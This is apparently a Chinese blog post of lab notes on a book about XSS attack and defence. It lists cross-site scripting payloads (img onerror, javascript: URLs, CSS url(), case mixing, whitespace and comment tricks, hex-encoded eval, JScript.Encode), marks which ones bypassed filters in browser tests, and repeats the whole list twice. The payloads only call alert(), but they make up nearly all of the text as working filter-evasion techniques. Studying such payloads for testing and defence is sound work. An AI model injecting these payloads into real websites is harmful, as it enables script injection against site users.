《xss跨站脚本剖析与防御》实验笔记
2017-06-05 14:39
127 查看
1、书籍《xss跨站脚本剖析与防御》上介绍的xss测试代码
<img src="javascrpt:alert('xss');">,
<table background="javascrpt:alert(/xss/)"></table>
已经不能在多大数的浏览器上弹窗成功了
测试xss漏洞尽量改变习惯使用
<img src=1 oneRroR=alert(/XSS/)>
<img src=1 oneRroR=alert('XSS')>
<img src=1 oneRroR=alert("XSS")>
<img src="#" onerror=alert('xss')>
<img src="x"/**/onerror="javascript:alert('xss');">
<script>alert('XSS')</script>
<img src=# onerror="alert('XSS')"/>
<input type="text" value="x" onmouseover="alert('XSS')" />
<iframe src="javascript:alert('XSS')"></iframe>
<a href="javascript:alert('XSS')"> xss</a>
来测试,能胜任当前大多数浏览器版本。
2、使用空格、回车、tab键的方法绕过过滤
<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->
实际测试成功
3、利用ASCII转码绕过过滤
<img src="x"/**/onerror="javascript:alert('xss');" >
<img src=1 onerror=alert('xss')> 转换为 <img src=1 onerror=alert('xss')>
实际测试成功
4、产生事件
<input type="button" value="click me" onclick="alert('click me')" >
实际测试成功
5、利用CSS跨站
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image: url("javascript:alert('XSS')");}
</style>
<div style="list-style-image:url(javascript:alert('XSS'))">
实际测试失败
6、大小写混淆
<img src="#" oneRroR=alert('xss')>
实际测试成功
7、半字转为全字
<img src="#" onerror=alert('xss')>
实际验证失败
8、结合使用注释字符干扰
<img src="####/*******/####" onerror=alert('xss')>
实际测试成功
9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('XSS')");
</script>
按照书上说的转码为16进制
<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>
实际验证失败
10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别
alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
编写exploit代码
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
在IE中执行,实际测试成功
<img src="javascrpt:alert('xss');">,
<table background="javascrpt:alert(/xss/)"></table>
已经不能在多大数的浏览器上弹窗成功了
测试xss漏洞尽量改变习惯使用
<img src=1 oneRroR=alert(/XSS/)>
<img src=1 oneRroR=alert('XSS')>
<img src=1 oneRroR=alert("XSS")>
<img src="#" onerror=alert('xss')>
<img src="x"/**/onerror="javascript:alert('xss');">
<script>alert('XSS')</script>
<img src=# onerror="alert('XSS')"/>
<input type="text" value="x" onmouseover="alert('XSS')" />
<iframe src="javascript:alert('XSS')"></iframe>
<a href="javascript:alert('XSS')"> xss</a>
来测试,能胜任当前大多数浏览器版本。
2、使用空格、回车、tab键的方法绕过过滤
<iframe src="java
script:al ert(1)" height=0 width=0 /><iframe> <!--Java和script是回车,al和ert是Tab换行符-->
实际测试成功
3、利用ASCII转码绕过过滤
<img src="x"/**/onerror="javascript:alert('xss');" >
<img src=1 onerror=alert('xss')> 转换为 <img src=1 onerror=alert('xss')>
实际测试成功
4、产生事件
<input type="button" value="click me" onclick="alert('click me')" >
实际测试成功
5、利用CSS跨站
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image: url("javascript:alert('XSS')");}
</style>
<div style="list-style-image:url(javascript:alert('XSS'))">
实际测试失败
6、大小写混淆
<img src="#" oneRroR=alert('xss')>
实际测试成功
7、半字转为全字
<img src="#" onerror=alert('xss')>
实际验证失败
8、结合使用注释字符干扰
<img src="####/*******/####" onerror=alert('xss')>
实际测试成功
9、书上说在javascript中的eval()函数,可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('XSS')");
</script>
按照书上说的转码为16进制
<script>
eval("\61\6c\65\72\74\28\27\58\53\53\27\29");
</script>
实际验证失败
10、Microsoft提供脚本加密机制,可以对脚本进行加密,能在IE下正常运行,在其他浏览器则无法识别
alert(1)使用JScript Encode加密结果为#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
编写exploit代码
<script language="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
在IE中执行,实际测试成功
相关文章推荐
- 王爽汇编语言第二版学习笔记之实验11
- Linux 基础入门第一次实验笔记
- C#学习笔记--关于银行存取款的小实验
- CCNA笔记之第十六节:RIP协议(大实验背景)
- [机器学习] 实验笔记 - 表情识别(emotion recognition)
- Centos+RDO 构建自己的openstack实验环境(笔记)
- LVS+Keepalived实验笔记
- SQL SERVER 2008 数据库镜像动手实验笔记
- NS 2.35 柯志亨书-实验4笔记-随机数产生-参数化批处理
- 路由交换笔记--单臂路由配置实验
- CCIE实验笔记之-第3章 WAN协议(帧中继)之四
- linux基础概念和个人笔记总结(2)——账号和权限管理实验验证
- Cocos2d-x学习笔记之CCScene、CCLayer、CCSprite的默认坐标和默认锚点实验
- cortex_m3_stm32嵌入式学习笔记(十六):ADC实验(模数转换)
- 20135316王剑桥 linux第七周课实验笔记
- cortex_m3_stm32嵌入式学习笔记(二十):IIC实验(I2C串行总线)
- 【stm32学习笔记之一】跑马灯实验(基于库函数)
- 反向代理服务器(haproxy+keepalived)实验笔记
- Control Groups 实验笔记
- 【RT-Thread学习笔记 5】优先级反转实验,使用信号量实现